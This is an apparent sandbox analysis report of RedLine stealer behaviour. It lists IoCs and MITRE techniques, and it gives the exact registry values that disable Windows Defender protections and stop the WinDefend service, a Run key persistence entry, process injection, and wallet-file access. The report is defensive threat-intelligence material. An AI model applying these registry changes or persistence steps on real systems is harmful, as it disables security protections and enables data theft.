redline | hxxps://google[.]com

max time kernel
524s
max time network
567s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
19-09-2023 13:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://google.com

Score

10^/10

redline evasion infostealer persistence spyware trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Windows Service
T1543.003

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2132-1090-0x0000000000400000-0x000000000045A000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

Processes:

PL.exe

description	pid	process	target process
PID 3508 created 3164	3508	PL.exe	Explorer.EXE
PID 3508 created 3164	3508	PL.exe	Explorer.EXE
PID 3508 created 3164	3508	PL.exe	Explorer.EXE
PID 3508 created 3164	3508	PL.exe	Explorer.EXE
PID 3508 created 3164	3508	PL.exe	Explorer.EXE
PID 3508 created 3164	3508	PL.exe	Explorer.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

106 2684 powershell.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

PL.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts PL.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 3 IoCs

Processes:

Msconf.exemsvcp.exePL.exe

pid process

1200 Msconf.exe
3220 msvcp.exe
3508 PL.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

flow	pid	process
106	2684	powershell.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	PL.exe

pid	process
1200	Msconf.exe
3220	msvcp.exe
3508	PL.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

msvcp.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftPE = "\"C:\\Users\\Admin\\AppData\\Roaming\\MicrosoftServerContact\\MicrosoftPE.exe\" "	msvcp.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 3 IoCs

Processes:

XWorm5.exeMsconf.exePL.exe

description	pid	process	target process
PID 4076 set thread context of 2120	4076	XWorm5.exe	AppLaunch.exe
PID 1200 set thread context of 2132	1200	Msconf.exe	AppLaunch.exe
PID 3508 set thread context of 1260	3508	PL.exe	dialer.exe

Drops file in Windows directory 5 IoCs

Processes:

taskmgr.exetaskmgr.exemspaint.exe

description	ioc	process
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\4183903823\810424605.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	taskmgr.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File created	C:\Windows\rescache\_merged\4183903823\810424605.pri	taskmgr.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

4496 sc.exe
2480 sc.exe
3428 sc.exe
5112 sc.exe
336 sc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

336 4076 WerFault.exe XWorm5.exe

pid	process
4496	sc.exe
2480	sc.exe
3428	sc.exe
5112	sc.exe
336	sc.exe

pid	pid_target	process	target process
336	4076	WerFault.exe	XWorm5.exe

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exedwm.exetaskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

672 schtasks.exe

pid	process
672	schtasks.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exechrome.exewmiprvse.exechrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

chrome.exechrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133396035513862666"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 64 IoCs

Processes:

mspaint.exereg.exechrome.exereg.exesc.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "4294967295"	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "4"	mspaint.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	mspaint.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	mspaint.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 3a002e8005398e082303024b98265d99428e115f260001002600efbe110000000c00992db9e7d901a8a28e9ffdead901a8a28e9ffdead90114000000	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "3"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	mspaint.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0000000001000000ffffffff	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	mspaint.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "2"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	mspaint.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	mspaint.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	mspaint.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	mspaint.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac04000000c8000000354b179bff40d211a27e00c04fc308710300000080000000354b179bff40d211a27e00c04fc308710200000080000000	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	mspaint.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	sc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	mspaint.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe110000000c00992db9e7d901928e2fa5fdead901928e2fa5fdead90114000000	mspaint.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exemspaint.exepowershell.exepowershell.exetaskmgr.exeAppLaunch.exePL.exepowershell.exe

pid	process
3732	chrome.exe
3732	chrome.exe
2432	chrome.exe
2432	chrome.exe
68	mspaint.exe
68	mspaint.exe
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3980	taskmgr.exe
3980	taskmgr.exe
3420	powershell.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
3980	taskmgr.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
2132	AppLaunch.exe
3508	PL.exe
3508	PL.exe
4620	powershell.exe
3980	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 24 IoCs

Processes:

chrome.exechrome.exechrome.exe

pid	process
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
4564	chrome.exe
4564	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
